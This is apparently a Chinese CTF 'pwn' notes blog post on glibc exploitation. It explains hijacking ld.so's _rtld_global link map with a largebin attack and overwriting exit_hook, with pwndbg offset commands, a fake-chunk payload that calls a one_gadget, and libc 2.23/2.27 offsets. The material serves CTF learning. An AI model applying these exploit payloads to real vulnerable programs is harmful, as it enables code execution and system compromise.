0%

Pwn - IO_File and ld.so exploit summary

IO_File 与 ld.so 利用总结

[1] IO_File

好文

PIG-007

glibc2.37 IO

[2] ld.so

[2-1] _rtld_global._dl_ns._ns_loaded

[2-1-1] 原理

程序在调用exit()退出时,会调用(待调试),而我们可以通过修改 _rtld_global._dl_ns._ns_loaded.l_next->l_next->l_next

[2-1-2] 找偏移量

恢复调试符号请看Pwn - Heap Exploit Summary 的 patchelf 部分

恢复调试符号以后,在 pwndbg 中输入

1
2
3
4
5
6
7
8
9
10
11
# 找 &(_rtld_global._dl_ns._ns_loaded.l_next->l_next->l_next) 
# 与 &(_rtld_global) 之间的偏移量
pwndbg> distance &_rtld_global &(_rtld_global._dl_ns._ns_loaded->l_next->l_next->l_next)
0x7f992b424040->0x7f992b3f3018 is -0x31028 bytes (-0x6205 words)

# 找 _rtld_global 的真实地址
pwndbg> p &_rtld_global
$1 = (struct rtld_global *) 0x7f8bb8255040 <_rtld_global>
# 若本次运行的 libc_base 为 0x7f8bb803a000
# 则 offset = 0x7f8bb8255040 - 0x7f8bb803a000 = 0x21b040
# 这个 offset 会在下面的 python 代码中用到

1
2
3
4
5
6
7
8
# 计算 _rtld_global._dl_ns._ns_loaded.l_next->l_next->l_next 的真实地址
rtld_global = libc_base + offset
rtld_next_next_next = rtld_global -0x31028

# largebin attack 中
target_addr = rtld_next_next_next
# 修改 chunk.bk_nextsize 时
chunk.bk_nextsize = rtld_next_next_next - 0x20

largebin attack 以后,观察 _rtld_global,应该有这样一条链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
_rtld_global._dl_ns._ns_loaded        = 0x7f... head_node
|
| (*_ns_loaded) + 0x18
v
_rtld_global._dl_ns._ns_loaded.l_next = 0x7f... node_1
|
| (*(xx.l_next)) + 0x18
v
..._ns_loaded.l_next->l_next = 0x7f... node_2
|
| (*(xx->l_next)) + 0x18
v
...l_next->l_next->l_next = 0x55...(堆地址) node_3
# 链上正好四个 node

[2-1-3] 构造 fake chunk

我们假设:

1
2
3
4
5
6
                    |-----------|-----------|
fake_rtld_global -> | perv_size | size |
|-----------|-----------|
| user_data |
| . . . |
|-----------|-----------|

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 我看的 wp 大多数都在构造 fake chunk 时用到了 libc + 一个偏移量,
# 但我这样构造也能 getshell,
# 以下就只需要修改 heap_base 和 offset 就行,
# 对 libc 的要求小了很多.
heap_base = 堆的基地址
offset = fake chunk 的 prev_size 地址
fake_rtld_global = heap_base + offset
payload = p64(0)*3 + p64(fake_rtld_global)
payload = payload.ljust(0x38,b'\x00')

payload += p64(fake_rtld_global + 0x58) + p64(0x8) + p64(one_gadget[0])
payload = payload.ljust(0x100,b'\x00')

payload += p64(fake_rtld_global + 0x40) + p64(0)
payload += p64(fake_rtld_global + 0x48)
payload = payload.ljust(0x30c,b'\x00')
payload += p64(0x1c)

最后构造的 chunk 应该如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
pwndbg> tele 0x5644419bbcd0 40
00:0000│ 0x5644419bbcd0 ◂— 0x0
01:0008│ 0x5644419bbcd8 ◂— 0x521
02:0010│ 0x5644419bbce0 ◂— 0x0
... ↓ 2 skipped
05:0028│ 0x5644419bbcf8 —▸ 0x5644419bbcd0 ◂— 0x0
06:0030│ 0x5644419bbd00 ◂— 0x0
... ↓ 2 skipped
09:0048│ 0x5644419bbd18 —▸ 0x5644419bbd28 —▸ 0x7f77ff49154c (execvpe+652) ◂— mov rdx, r12
0a:0050│ 0x5644419bbd20 ◂— 0x8
0b:0058│ 0x5644419bbd28 —▸ 0x7f77ff49154c (execvpe+652) ◂— mov rdx, r12
0c:0060│ 0x5644419bbd30 ◂— 0x0
... ↓ 21 skipped
22:0110│ 0x5644419bbde0 —▸ 0x5644419bbd10 ◂— 0x0
23:0118│ 0x5644419bbde8 ◂— 0x0
24:0120│ 0x5644419bbdf0 —▸ 0x5644419bbd18 —▸ 0x5644419bbd28 —▸ 0x7f77ff49154c (execvpe+652) ◂— mov rdx, r12
25:0128│ 0x5644419bbdf8 ◂— 0x0
... ↓ 2 skipped

[2-2] _rtld_global.exit_hook

libc: 2.23 / 2.27 (其他版本未记录)

[2-2-1] exit_hook 调用链

exit --> __run_exit_handlers --> _dl_fini --> __rtld_lock_lock_recursive / __rtld_lock_unlock_recursive

[2-2-2] POC

1
2
3
4
# gdb 中输入
p _rtld_global # 查看 exit_hook 调用的两个 recursive 函数的地址

p __rtld_lock_unlock_recursive # 查看 __rtld_lock_unlock_recursive 指向的数据

libc2.23 中:

exit_hook_addr = libc_base+0x5f0040+3848

exit_hook_addr = libc_base+0x5f0040+3856

在libc-2.27中

exit_hook_addr = libc_base+0x619060+3840

exit_hook_addr = libc_base+0x619060+3848

-------------文章就到这里啦!感谢您的阅读XD-------------